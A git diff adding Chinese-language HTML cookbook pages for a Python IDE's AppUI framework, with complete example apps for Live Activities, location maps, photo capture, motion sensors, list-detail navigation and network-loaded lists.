+ + + diff --git a/docs/docs/pages/appui-cookbook-index/index.html b/docs/docs/pages/appui-cookbook-index/index.html new file mode 100644 index 0000000..1a2bee4 --- /dev/null +++ b/docs/docs/pages/appui-cookbook-index/index.html @@ -0,0 +1,350 @@ + + + + + + 示例索引 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

示例索引

+

经过统一布局和预览校验的完整页面样板。

+
+ +
+

这里收录可以直接复制到 AppUI 预览里运行的页面样板。示例不是 API 清单,而是完整页面:有状态、有真实按钮动作、有稳定布局,并且代码尽量贴近实际 App。

+

#预期效果

+

示例骨架运行后会出现一个原生导航页,包含状态文字、主按钮和表单反馈,用于验证 cookbook 的基础结构。

+

#可复制的页面样板

+
页面优先学习点适合改成
待办列表ListForEach、搜索、稳定 id任务清单、收藏列表、消息列表
设置表单FormSection、输入控件、toolbar设置页、资料编辑、偏好配置
紧凑仪表盘ScrollViewLazyVGrid、卡片按钮、固定尺寸数据面板、运营看板、学习进度
原生列表详情NavigationStackNavigationLink、列表详情项目列表、课程目录、文件浏览
网络列表加载状态、刷新、错误展示API 列表、搜索结果、远程内容
表格数据审核Table、筛选、批量动作数据审核、订单表、日志表
聊天界面底部输入、安全区、消息滚动AI 对话、客服、评论流
媒体采集相册图片采集、网格、预览状态相册选择、素材库、头像上传
相册浏览器LazyVGridAsyncImage、详情导航、.sheet素材库、作品集、商品图片
原生表单设置表单控件、颜色选择、storage 持久化偏好设置、资料编辑、控制面板
图表与画布实验室ChartCanvasDrawingContext指标图、阈值图、可视化实验
定位地图location、权限、MapView 标记签到、位置记录、门店地图
运动传感器仪表盘motionhaptics、姿态图表传感器工具、运动记录、硬件测试
通知提醒通知授权、安排/取消提醒、表单保存喝水提醒、待办提醒、定时通知
血压分析HealthKit 血压、摘要、趋势图健康记录、个人指标看板
安全凭据库keychainbiometricSecureFieldToken 管理、私密笔记、账号保险箱
实时活动与后台任务Live Activity、后台时间、完成通知同步进度、倒计时、上传任务
快捷指令启动器run_shortcutopen_url、系统设置入口自动化面板、深链入口、调试工具
视频播放器VideoPlayer、片源搜索、播放设置课程播放、素材预览、媒体工具
WebView 与系统分享WebView、本地 HTML、ShareLink报告预览、帮助页、导出分享
+

#质量标准

+
  • 示例入口应该能直接运行和预览,用户复制后可以看到完整页面。
  • 所有按钮、输入、刷新、搜索都必须连接真实命名函数;点击后状态要有可见变化。
  • 示例里的代码只展示一种主流程,不把同一段代码同时放在指南和 cookbook 里重复维护。
  • 普通数据列表使用 List + Section + ForEach;只有仪表盘、画廊、聊天等特殊布局才使用 ScrollView
  • 动态列表必须提供稳定 key,不能用临时下标代替真实 id。
+

#示例骨架

+

新示例优先按这个骨架写:状态在顶部,动作函数独立命名,视图函数只负责组装 View。

+
+
+ python +
+
+
import appui
+
+state = appui.State(title="Demo", saved=False)
+
+
+def mark_saved():
+    state.saved = True
+
+
+def status_row():
+    icon = "checkmark.circle.fill" if state.saved else "circle"
+    label = "Saved" if state.saved else "Not saved"
+    return appui.Label(label, system_image=icon)
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Status", [
+                status_row(),
+                appui.Button("Save", action=mark_saved).button_style("bordered_prominent"),
+            ])
+        ]).navigation_title(state.title)
+    )
+
+
+appui.run(body, state=state)
+
+

#选择示例

+
  • 做表单页:先改 设置表单,再补自己的字段校验。
  • 做普通列表:先改 待办列表,保留稳定 id 和搜索结构。
  • 做首页看板:先改 紧凑仪表盘,保留固定卡片高度和真实按钮动作。
  • 做多页面:先看 导航与页面结构,再使用列表详情类 cookbook。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-live-activity-background/index.html b/docs/docs/pages/appui-cookbook-live-activity-background/index.html new file mode 100644 index 0000000..c4942b4 --- /dev/null +++ b/docs/docs/pages/appui-cookbook-live-activity-background/index.html @@ -0,0 +1,465 @@ + + + + + + 实时活动与后台任务 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

实时活动与后台任务

+

Live Activity、有限后台时间、后台刷新和完成通知。

+
+ +
+

演示 live_activity 启停与更新、background 有限后台时间与 notification 收尾提醒。

+

#预期效果

+

运行后会出现实时活动与后台任务控制页,进度、后台刷新和完成通知状态会同步显示。

+

#完整示例

+
+
+ python +
+
+
import time
+
+import appui
+import background
+import haptics
+import live_activity
+import notification
+
+state = appui.State(
+    title="同步任务",
+    message="准备开始",
+    progress=0.0,
+    status="未启动",
+    remaining="--",
+    supported=False,
+)
+
+
+def set_title(value):
+    state.title = value
+
+
+def set_message(value):
+    state.message = value
+
+
+def set_progress(value):
+    progress = max(0.0, min(1.0, float(value)))
+    state.batch_update(progress=progress, status=f"进度草稿:{progress:.0%}")
+
+
+def refresh_support():
+    supported = live_activity.is_supported()
+    state.batch_update(
+        supported=supported,
+        status="支持 Live Activity" if supported else "当前设备或系统不支持 Live Activity",
+        remaining=f"{background.remaining_time():.0f} 秒",
+    )
+
+
+def start_activity():
+    if not live_activity.is_supported():
+        state.status = "当前设备不支持 Live Activity"
+        haptics.notification("warning")
+        return
+    live_activity.start(
+        title=state.title,
+        message=state.message,
+        progress=state.progress,
+        icon="arrow.triangle.2.circlepath",
+        compact_text=f"{state.progress:.0%}",
+    )
+    state.status = "Live Activity 已启动"
+    haptics.notification("success")
+
+
+def update_activity():
+    live_activity.update(
+        title=state.title,
+        message=state.message,
+        progress=state.progress,
+        compact_text=f"{state.progress:.0%}",
+    )
+    state.status = "已更新 Live Activity"
+    haptics.selection()
+
+
+def begin_background_window():
+    ok = background.begin_task()
+    state.batch_update(
+        status="已申请有限后台时间" if ok else "无法申请后台时间",
+        remaining=f"{background.remaining_time():.0f} 秒",
+    )
+    haptics.notification("success" if ok else "error")
+
+
+def end_workflow():
+    live_activity.end(message="任务完成", dismiss_delay=2.0)
+    background.end_task()
+    notification.request_permission()
+    notification.schedule(
+        "live-activity-demo-complete",
+        state.title,
+        "任务已完成",
+        delay=1,
+    )
+    state.batch_update(status="已结束并安排通知", progress=1.0)
+    haptics.notification("success")
+
+
+def schedule_refresh():
+    ok = background.schedule_refresh("app.pythonide.demo.refresh", time.time() + 1800)
+    state.status = "已提交后台刷新请求" if ok else "后台刷新请求提交失败"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form(
+            [
+                appui.Section(
+                    [
+                        appui.LabeledContent(
+                            "Live Activity",
+                            value="支持" if state.supported else "未知",
+                        ),
+                        appui.LabeledContent("剩余后台时间", value=state.remaining),
+                        appui.Button("刷新状态", action=refresh_support),
+                    ],
+                    header="能力",
+                ),
+                appui.Section(
+                    [
+                        appui.TextField("标题", text=state.title, on_change=set_title),
+                        appui.TextField("状态文案", text=state.message, on_change=set_message),
+                        appui.Slider(
+                            value=state.progress,
+                            minimum=0,
+                            maximum=1,
+                            on_change=set_progress,
+                        ),
+                        appui.ProgressView("进度", value=state.progress),
+                    ],
+                    header="任务",
+                ),
+                appui.Section(
+                    [
+                        appui.Button("启动 Live Activity", action=start_activity)
+                            .button_style("bordered_prominent"),
+                        appui.Button("更新 Live Activity", action=update_activity),
+                        appui.Button("申请后台时间", action=begin_background_window),
+                        appui.Button("提交后台刷新", action=schedule_refresh),
+                        appui.Button("结束任务并通知", action=end_workflow)
+                            .foreground_color("systemGreen"),
+                    ],
+                    header="操作",
+                    footer="后台任务由系统调度,不能保证立即执行或永久运行。",
+                ),
+                appui.Section(
+                    [appui.LabeledContent("状态", value=state.status)],
+                    header="结果",
+                ),
+            ]
+        ).navigation_title("实时任务")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#关键技巧

+
  • begin_taskend_task 成对使用;schedule_refresh 由系统决定实际执行时机。
  • Live Activity 适合短期可见进度,不适合当作长期保活方案。
  • 用 UI 明确展示是否支持 Live Activity、后台剩余时间与当前流程状态。
  • 拖动进度条只更新本地草稿;需要推送到 Live Activity 时再点击“更新 Live Activity”,避免高频滑动反复调用系统能力。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-location-map/index.html b/docs/docs/pages/appui-cookbook-location-map/index.html new file mode 100644 index 0000000..e3935ca --- /dev/null +++ b/docs/docs/pages/appui-cookbook-location-map/index.html @@ -0,0 +1,423 @@ + + + + + + 定位地图 MiniApp - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

定位地图 MiniApp

+

location 权限、坐标采样和 MapView 标记当前位置。

+
+ +
+

演示 location 权限、start_updates/get_locationappui.MapView 标记当前位置。

+

#预期效果

+

运行后会出现定位地图页,授权、坐标采样、地图标记和状态摘要在同一屏展示。

+

#完整示例

+
+
+ python +
+
+
import time
+
+import appui
+import location
+import permission
+
+
+DEFAULT_LAT = 31.2304
+DEFAULT_LON = 121.4737
+
+state = appui.State(
+    status="未定位",
+    latitude=DEFAULT_LAT,
+    longitude=DEFAULT_LON,
+    accuracy="--",
+    authorized=False,
+)
+
+
+def refresh_location():
+    timeout = 10.0
+    state.status = "正在请求定位权限..."
+
+    auth = location.authorization_status()
+    if auth in ("denied", "restricted"):
+        state.authorized = False
+        state.status = "定位权限不可用,请到系统设置允许定位"
+        return
+
+    location.request_access()
+
+    deadline = time.time() + timeout
+    while time.time() < deadline:
+        auth = location.authorization_status()
+        if auth in ("denied", "restricted"):
+            state.authorized = False
+            state.status = "定位权限不可用,请到系统设置允许定位"
+            return
+        if auth not in ("not_determined", "unknown"):
+            break
+        time.sleep(0.25)
+
+    state.status = "正在定位..."
+    location.start_updates()
+    time.sleep(0.5)
+    try:
+        while time.time() < deadline:
+            loc = location.get_location()
+            if loc and loc.get("latitude") is not None:
+                state.authorized = True
+                state.latitude = float(loc.get("latitude", DEFAULT_LAT))
+                state.longitude = float(loc.get("longitude", DEFAULT_LON))
+                state.accuracy = f"{float(loc.get('accuracy', 0.0)):.0f} m"
+                state.status = "定位成功"
+                return
+            time.sleep(0.35)
+    finally:
+        location.stop_updates()
+
+    state.authorized = False
+    state.status = "暂未获得坐标,请稍后重试"
+
+
+def body():
+    marker = {
+        "latitude": state.latitude,
+        "longitude": state.longitude,
+        "title": "当前位置",
+    }
+    return appui.NavigationStack(
+        appui.List(
+            [
+                appui.Section(
+                    [
+                        appui.MapView(
+                            latitude=state.latitude,
+                            longitude=state.longitude,
+                            span=0.02,
+                            markers=[marker],
+                        ).frame(height=280),
+                    ],
+                    header="地图",
+                ),
+                appui.Section(
+                    [
+                        appui.LabeledContent("状态", value=state.status),
+                        appui.LabeledContent("纬度", value=f"{state.latitude:.5f}"),
+                        appui.LabeledContent("经度", value=f"{state.longitude:.5f}"),
+                        appui.LabeledContent("精度", value=state.accuracy),
+                    ],
+                    header="当前位置",
+                ),
+                appui.Section(
+                    [
+                        appui.Button("刷新定位", action=refresh_location)
+                            .button_style("bordered_prominent"),
+                    ],
+                    footer="真机测试最可靠;模拟器需要先设置模拟位置。",
+                ),
+            ]
+        ).navigation_title("定位地图")
+    )
+
+
+appui.run(body, state=state, presentation="fullscreen_with_close")
+
+

#关键技巧

+
  • request_access 后需 start_updates() 再轮询 get_location();读完后记得 stop_updates()
  • 首次 get_location() 常为 None,用状态文案提示“正在定位”并可重试。
  • 固定地点展示可只用 MapView,不必接 location 模块。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-media-capture-gallery/index.html b/docs/docs/pages/appui-cookbook-media-capture-gallery/index.html new file mode 100644 index 0000000..0f2292d --- /dev/null +++ b/docs/docs/pages/appui-cookbook-media-capture-gallery/index.html @@ -0,0 +1,451 @@ + + + + + + 相册拍照与分享 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

相册拍照与分享

+

PhotoPicker、CameraPicker、AsyncImage 和 ShareLink。

+
+ +
+

演示 PhotoPickerCameraPickerAsyncImageShareLink 的媒体采集与分享流。

+

#预期效果

+

运行后会出现媒体采集相册,选择照片、拍照和分享入口会把结果写入列表。

+

#适合场景

+
  • 头像上传、素材库、图片选择、拍照后分享。
  • 需要同时展示远程封面、本地路径列表和分享入口的媒体页面。
+

#页面结构

+
区域结构作用
封面AsyncImage展示远程缩略图和加载/失败占位。
导入PhotoPicker + CameraPicker由系统处理相册选择和拍照。
文件列表ForEach + NavigationLink查看每个媒体路径并进入分享页。
+

#完整示例

+
+
+ python +
+
+
import appui
+import haptics
+
+state = appui.State(
+    cover_url="https://images.unsplash.com/photo-1515879218367-8466d910aaa4?w=900",
+    picked=[],
+    captured="",
+    status="请选择照片或拍照",
+)
+
+
+def on_picked(paths):
+    state.picked = list(paths or [])
+    state.status = f"已选择 {len(state.picked)} 个文件"
+    haptics.notification("success")
+
+
+def on_captured(path):
+    state.captured = path or ""
+    state.status = "已拍摄" if path else "未获得照片"
+    haptics.notification("success" if path else "warning")
+
+
+def clear_media():
+    state.batch_update(picked=[], captured="", status="已清空")
+    haptics.selection()
+
+
+def media_rows():
+    rows = [{"title": "拍摄照片", "path": state.captured}] if state.captured else []
+    for index, path in enumerate(state.picked, start=1):
+        rows.append({"title": f"相册文件 {index}", "path": path})
+    return rows
+
+
+def media_detail(row):
+    return appui.Form(
+        [
+            appui.Section(
+                [
+                    appui.LabeledContent("名称", value=row["title"]),
+                    appui.Text(row["path"]).font("caption").foreground_color("secondaryLabel"),
+                    appui.ShareLink(
+                        item=row["path"],
+                        subject=row["title"],
+                        message="来自 Python IDE MiniApp",
+                    ),
+                ],
+                header="文件",
+            )
+        ]
+    ).navigation_title(row["title"])
+
+
+def media_row_key(row):
+    return row["path"]
+
+
+def media_row_link(row):
+    return appui.NavigationLink(
+        destination=media_detail(row),
+        label=appui.Label(row["title"], system_image="photo"),
+    )
+
+
+def body():
+    rows = media_rows()
+    return appui.NavigationStack(
+        appui.List(
+            [
+                appui.Section(
+                    [
+                        appui.AsyncImage(
+                            url=state.cover_url,
+                            placeholder=appui.ProgressView("加载封面"),
+                            error_view=appui.Image(system_name="photo"),
+                            content_mode="fill",
+                        )
+                        .frame(height=180)
+                        .corner_radius(12)
+                        .clipped(),
+                        appui.LabeledContent("状态", value=state.status),
+                    ],
+                    header="封面",
+                ),
+                appui.Section(
+                    [
+                        appui.PhotoPicker(
+                            selection_limit=3,
+                            filter="images",
+                            on_picked=on_picked,
+                            label=appui.Label("选择照片", system_image="photo.on.rectangle"),
+                        ),
+                        appui.CameraPicker(
+                            source="camera",
+                            media_type="photo",
+                            on_captured=on_captured,
+                            label=appui.Label("拍照", system_image="camera.fill"),
+                        ),
+                        appui.Button("清空", role="destructive", action=clear_media),
+                    ],
+                    header="导入",
+                ),
+                appui.Section(
+                    [
+                        appui.ContentUnavailableView(
+                            "暂无媒体",
+                            system_image="photo",
+                            description="选择照片或拍照后显示",
+                        )
+                        if not rows
+                        else appui.ForEach(
+                            rows,
+                            row_builder=media_row_link,
+                            key=media_row_key,
+                        )
+                    ],
+                    header="媒体文件",
+                ),
+            ]
+        ).navigation_title("媒体采集")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#关键技巧

+
  • 选图用 PhotoPicker,拍照用 CameraPicker,由系统处理权限与选取 UI。
  • 在状态里保存路径字符串,不要保存图像对象或视图实例。
  • 分享文件/链接用 ShareLink;远程缩略图用 AsyncImage
+

#失败路径

+
  • 用户取消选择或拍照时,把状态更新为「未获得照片」,不要假设一定有路径。
  • 设备没有相机或权限不可用时,保留相册选择和清空按钮,避免整页不可用。
+

#相关文档

+
文档用途
媒体 APIPhotoPickerCameraPickerAsyncImageShareLink
原生能力入口权限和设备能力的处理思路。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-motion-haptics-dashboard/index.html b/docs/docs/pages/appui-cookbook-motion-haptics-dashboard/index.html new file mode 100644 index 0000000..01985ad --- /dev/null +++ b/docs/docs/pages/appui-cookbook-motion-haptics-dashboard/index.html @@ -0,0 +1,440 @@ + + + + + + 运动传感器仪表盘 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

运动传感器仪表盘

+

motion 姿态采样、气压高度、haptics 反馈和 Chart。

+
+ +
+

演示 motion 姿态与气压高度采样、haptics 反馈,以及 Chart 展示姿态角。

+

#预期效果

+

运行后会出现运动传感器仪表盘,姿态采样、图表和触觉反馈按钮都有明确状态。

+

#完整示例

+
+
+ python +
+
+
import math
+import time
+
+import appui
+import haptics
+import motion
+
+state = appui.State(
+    status="点击采样读取传感器",
+    roll=0.0,
+    pitch=0.0,
+    yaw=0.0,
+    gravity="--",
+    rotation="--",
+    altitude="--",
+    samples=[
+        {"axis": "roll", "value": 0},
+        {"axis": "pitch", "value": 0},
+        {"axis": "yaw", "value": 0},
+    ],
+)
+
+
+def degrees(value):
+    return float(value or 0) * 180.0 / math.pi
+
+
+def format_vec(data):
+    if not data:
+        return "--"
+    return f'x {data.get("x", 0):.2f}, y {data.get("y", 0):.2f}, z {data.get("z", 0):.2f}'
+
+
+def sample_motion():
+    if not motion.is_available():
+        state.status = "当前设备不支持运动传感器"
+        haptics.notification("error")
+        return
+
+    motion.start_updates(interval=1 / 30)
+    time.sleep(0.15)
+    attitude = motion.get_attitude() or {}
+    gravity = motion.get_gravity()
+    rotation = motion.get_rotation_rate()
+    motion.stop_updates()
+
+    roll = degrees(attitude.get("roll", 0))
+    pitch = degrees(attitude.get("pitch", 0))
+    yaw = degrees(attitude.get("yaw", 0))
+
+    state.batch_update(
+        status="采样完成",
+        roll=roll,
+        pitch=pitch,
+        yaw=yaw,
+        gravity=format_vec(gravity),
+        rotation=format_vec(rotation),
+        samples=[
+            {"axis": "roll", "value": roll},
+            {"axis": "pitch", "value": pitch},
+            {"axis": "yaw", "value": yaw},
+        ],
+    )
+    haptics.selection()
+
+
+def sample_altitude():
+    motion.start_altimeter()
+    time.sleep(0.2)
+    alt = motion.get_altitude()
+    motion.stop_altimeter()
+    if not alt:
+        state.altitude = "未读取到气压高度"
+        haptics.notification("warning")
+        return
+    state.altitude = f'{alt.get("relative_altitude", 0):.2f} m / {alt.get("pressure", 0):.2f} kPa'
+    haptics.notification("success")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List(
+            [
+                appui.Section(
+                    [
+                        appui.LabeledContent("状态", value=state.status),
+                        appui.Button("采样姿态", action=sample_motion)
+                            .button_style("bordered_prominent"),
+                        appui.Button("采样气压高度", action=sample_altitude),
+                    ],
+                    header="采样",
+                ),
+                appui.Section(
+                    [
+                        appui.LabeledContent("Roll", value=f"{state.roll:.1f}°"),
+                        appui.LabeledContent("Pitch", value=f"{state.pitch:.1f}°"),
+                        appui.LabeledContent("Yaw", value=f"{state.yaw:.1f}°"),
+                        appui.LabeledContent("重力", value=state.gravity),
+                        appui.LabeledContent("旋转", value=state.rotation),
+                        appui.LabeledContent("气压高度", value=state.altitude),
+                    ],
+                    header="读数",
+                ),
+                appui.Section(
+                    [
+                        appui.Chart(
+                            state.samples,
+                            x="axis",
+                            y="value",
+                            type="bar",
+                            color="systemTeal",
+                        )
+                            .frame(height=220),
+                    ],
+                    header="姿态角",
+                ),
+            ]
+        ).navigation_title("运动")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#关键技巧

+
  • 先用 motion.start_updates() 启动采样,读 get_attitude() 等,再尽快 motion.stop_updates(),避免长时间占用传感器;需要控制采样率时可像示例一样传 interval=1 / 30
  • 气压用 start_altimeter / get_altitude / stop_altimeter
  • 图表数据用 State.batch_update 一次写回;反馈用 haptics API。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-native-list-detail/index.html b/docs/docs/pages/appui-cookbook-native-list-detail/index.html new file mode 100644 index 0000000..b31cd23 --- /dev/null +++ b/docs/docs/pages/appui-cookbook-native-list-detail/index.html @@ -0,0 +1,497 @@ + + + + + + 原生列表与详情 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

原生列表与详情

+

NavigationStack、NavigationLink、搜索、刷新和滑动操作。

+
+ +
+

演示 List + searchableNavigationLink 详情、swipe_actionsrefreshable 的标准列表流。

+

#预期效果

+

运行后会出现原生列表详情页,搜索、分类、导航详情和行级操作都能产生可见反馈。

+

#适合场景

+
  • 项目列表、课程目录、素材库、文件浏览等一列数据进入详情的页面。
  • 需要搜索、筛选、下拉刷新、行滑动操作和详情页的标准列表流。
+

#页面结构

+
区域结构作用
顶层NavigationStack承载列表标题和详情页返回栈。
筛选区Section + Picker切换分类并展示当前状态。
内容区List + ForEach + NavigationLink稳定渲染动态行并进入详情。
行操作.swipe_actions(...)完成、删除等高频动作。
+

#完整示例

+
+
+ python +
+
+
import appui
+import haptics
+
+state = appui.State(
+    query="",
+    filter="全部",
+    status="就绪",
+    items=[
+        {"id": "inbox", "title": "收件箱整理", "subtitle": "今天完成 12 条消息归档", "tag": "工作", "done": False},
+        {"id": "clip", "title": "剪贴板素材", "subtitle": "保存常用文案和链接", "tag": "工具", "done": True},
+        {
+            "id": "video",
+            "title": "视频片源检查",
+            "subtitle": "确认 HLS 和 MP4 是否可播放",
+            "tag": "媒体",
+            "done": False,
+        },
+        {"id": "health", "title": "血压周报", "subtitle": "统计最近 7 天平均值", "tag": "健康", "done": True},
+    ],
+)
+
+
+def set_query(value):
+    state.query = value
+
+
+def set_filter(value):
+    state.filter = value
+
+
+def visible_items():
+    query = state.query.strip().lower()
+    rows = []
+    for item in state.items:
+        if state.filter != "全部" and item["tag"] != state.filter:
+            continue
+        text = f"{item['title']} {item['subtitle']} {item['tag']}".lower()
+        if query and query not in text:
+            continue
+        rows.append(item)
+    return rows
+
+
+def toggle_done(item_id):
+    rows = []
+    for item in state.items:
+        copy = dict(item)
+        if copy["id"] == item_id:
+            copy["done"] = not copy["done"]
+        rows.append(copy)
+    state.items = rows
+    haptics.selection()
+
+
+def delete_item(item_id):
+    state.items = [item for item in state.items if item["id"] != item_id]
+    state.status = "已删除"
+    haptics.notification("success")
+
+
+def reload_items():
+    state.status = "已刷新"
+    haptics.selection()
+
+
+def detail_view(item):
+    def toggle_current():
+        toggle_done(item["id"])
+
+    return appui.Form(
+        [
+            appui.Section(
+                [
+                    appui.LabeledContent("标题", value=item["title"]),
+                    appui.LabeledContent("分类", value=item["tag"]),
+                    appui.LabeledContent("状态", value="完成" if item["done"] else "进行中"),
+                ],
+                header="信息",
+            ),
+            appui.Section(
+                [
+                    appui.Text(item["subtitle"]).font("body"),
+                    appui.Button("切换完成状态", action=toggle_current),
+                ],
+                header="操作",
+            ),
+        ]
+    ).navigation_title(item["title"])
+
+
+def row_view(item):
+    def toggle_current():
+        toggle_done(item["id"])
+
+    def delete_current():
+        delete_item(item["id"])
+
+    status_icon = "checkmark.circle.fill" if item["done"] else "circle"
+    status_color = "systemGreen" if item["done"] else "secondaryLabel"
+    return appui.NavigationLink(
+        destination=detail_view(item),
+        label=appui.HStack(
+            [
+                appui.Image(system_name=status_icon).foreground_color(status_color),
+                appui.VStack(
+                    [
+                        appui.Text(item["title"]).font("headline"),
+                        (
+                            appui.Text(item["subtitle"])
+                            .font("caption")
+                            .foreground_color("secondaryLabel")
+                        ),
+                    ],
+                    alignment="leading",
+                    spacing=3,
+                ),
+                appui.Spacer(),
+                appui.Text(item["tag"]).font("caption").foreground_color("systemBlue"),
+            ],
+            spacing=10,
+        ),
+    ).swipe_actions(
+        actions=[
+            appui.Button("完成", action=toggle_current),
+            appui.Button("删除", role="destructive", action=delete_current),
+        ]
+    )
+
+
+def row_key(item):
+    return item["id"]
+
+
+def body():
+    rows = visible_items()
+    content = (
+        appui.ContentUnavailableView(
+            "没有结果",
+            system_image="magnifyingglass",
+            description="换个关键词或分类再试",
+        )
+        if not rows
+        else appui.ForEach(rows, row_view, key=row_key)
+    )
+    return appui.NavigationStack(
+        appui.List(
+            [
+                appui.Section(
+                    [
+                        appui.Picker(
+                            "分类",
+                            selection=state.filter,
+                            options=["全部", "工作", "工具", "媒体", "健康"],
+                            on_change=set_filter,
+                        ),
+                        appui.LabeledContent("状态", value=state.status),
+                    ],
+                    header="筛选",
+                ),
+                appui.Section("事项", [content]),
+            ]
+        )
+        .searchable(text=state.query, on_change=set_query)
+        .refreshable(reload_items)
+        .navigation_title("事项")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#关键技巧

+
  • state.items 只存纯数据(字典列表),不要存入 Text/Button 等视图对象。
  • 搜索用 List(...).searchable(...),不要用自绘 TextField 条顶替系统搜索栏。
  • 详情进路由用 NavigationLink;行级操作放 swipe_actions;下拉刷新用 refreshable
+

#失败路径

+
  • 搜索和筛选没有结果时显示 ContentUnavailableView,不要让列表区域空白。
  • 删除或刷新后把结果写回 state.status,用户能看见刚才发生了什么。
+

#可替换点

+
当前写法可替换为
静态 state.itemsstorage.get_json(...) 或网络请求结果
haptics.selection()普通状态文本、toast 或 alert
分类 Picker搜索栏、分段控件或多个筛选字段
+

#相关文档

+
文档用途
导航与页面结构列表详情和导航栈。
呈现 APIswipe_actionsrefreshable
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-network-list/index.html b/docs/docs/pages/appui-cookbook-network-list/index.html new file mode 100644 index 0000000..d004864 --- /dev/null +++ b/docs/docs/pages/appui-cookbook-network-list/index.html @@ -0,0 +1,442 @@ + + + + + + 网络请求列表 MiniApp - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

网络请求列表 MiniApp

+

加载状态、刷新、错误展示和远端数据列表。

+
+ +
+

演示 network.get 拉取 JSON、加载/错误状态与可搜索列表展示。

+

#预期效果

+

运行后会出现带加载状态的网络列表,刷新、错误展示和空状态都在同一页面闭环。

+

#适合场景

+
  • API 列表、远程内容流、搜索结果页。
  • 需要加载中、失败、空结果和下拉刷新状态的页面。
+

#页面结构

+
区域结构作用
顶层NavigationStack页面标题和系统搜索栏。
操作区Section + Button用户主动触发网络请求。
结果区Section + ForEach稳定渲染远程数据。
失败/空状态ContentUnavailableView避免请求失败后空白。
+

#完整示例

+
+
+ python +
+
+
import appui
+import network
+
+state = appui.State(
+    loading=False,
+    error="",
+    query="",
+    items=[
+        {"id": "sample-1", "title": "示例数据", "subtitle": "点击刷新后替换为接口结果"},
+    ],
+)
+
+
+def set_query(value):
+    state.query = str(value)
+
+
+def load_data():
+    state.loading = True
+    state.error = ""
+    try:
+        if not network.is_connected():
+            state.error = "当前没有网络连接"
+            return
+        resp = network.get("https://jsonplaceholder.typicode.com/posts", timeout=15)
+        if not resp.ok:
+            state.error = f"HTTP {resp.status}"
+            return
+        data = resp.json()
+        rows = []
+        for item in data[:20]:
+            rows.append({
+                "id": str(item.get("id", len(rows))),
+                "title": str(item.get("title", "Untitled")),
+                "subtitle": str(item.get("body", ""))[:120],
+            })
+        state.items = rows
+    except Exception as exc:
+        state.error = str(exc)
+    finally:
+        state.loading = False
+
+
+def filtered_items():
+    q = state.query.strip().lower()
+    if not q:
+        return state.items
+    return [
+        item for item in state.items
+        if q in item["title"].lower() or q in item["subtitle"].lower()
+    ]
+
+
+def item_key(item):
+    return item["id"]
+
+
+def row(item):
+    return appui.VStack(
+        [
+            appui.Text(item["title"]).font("headline"),
+            (
+                appui.Text(item["subtitle"])
+                .font("subheadline")
+                .foreground_color("secondaryLabel")
+                .line_limit(2)
+            ),
+        ],
+        alignment="leading",
+        spacing=4,
+    )
+
+
+def body():
+    result_items = filtered_items()
+    result_content = []
+    if state.loading:
+        result_content.append(appui.ProgressView("正在加载..."))
+    elif state.error:
+        result_content.append(
+            appui.ContentUnavailableView(
+                "请求失败",
+                system_image="wifi.exclamationmark",
+                description=state.error,
+            )
+        )
+    elif not result_items:
+        result_content.append(
+            appui.ContentUnavailableView(
+                "没有结果",
+                system_image="doc.text.magnifyingglass",
+                description="换个关键词或点击刷新数据。",
+            )
+        )
+    else:
+        result_content.append(appui.ForEach(result_items, row_builder=row, key=item_key))
+
+    return appui.NavigationStack(
+        appui.List(
+            [
+                appui.Section(
+                    [
+                        appui.Button("刷新数据", action=load_data)
+                            .button_style("bordered_prominent"),
+                    ],
+                    header="API",
+                    footer="示例接口仅用于演示,请替换为自己的 API。",
+                ),
+                appui.Section(result_content, header="结果"),
+            ]
+        )
+        .searchable(text=state.query, on_change=set_query)
+        .refreshable(load_data)
+        .navigation_title("网络列表")
+    )
+
+
+appui.run(body, state=state, presentation="fullscreen_with_close")
+
+

#关键技巧

+
  • 在按钮回调里发起请求,不要在 body() 里直接请求。
  • resp.ok 只表示 HTTP 成功,业务字段仍需自行校验;失败时把 error 文案显示出来避免空白页。
  • 动态远程数据使用 ForEach(..., key=...),不要直接把筛选后的下标当身份。
+

#可替换点

+
当前写法可替换为
演示接口你的业务 API
network.get(...)network.request(...) / network.post(...)
state.itemsstorage.get_json(...) 作为离线缓存
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-notification-reminder/index.html b/docs/docs/pages/appui-cookbook-notification-reminder/index.html new file mode 100644 index 0000000..1d3168e --- /dev/null +++ b/docs/docs/pages/appui-cookbook-notification-reminder/index.html @@ -0,0 +1,434 @@ + + + + + + 通知提醒 MiniApp - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

通知提醒 MiniApp

+

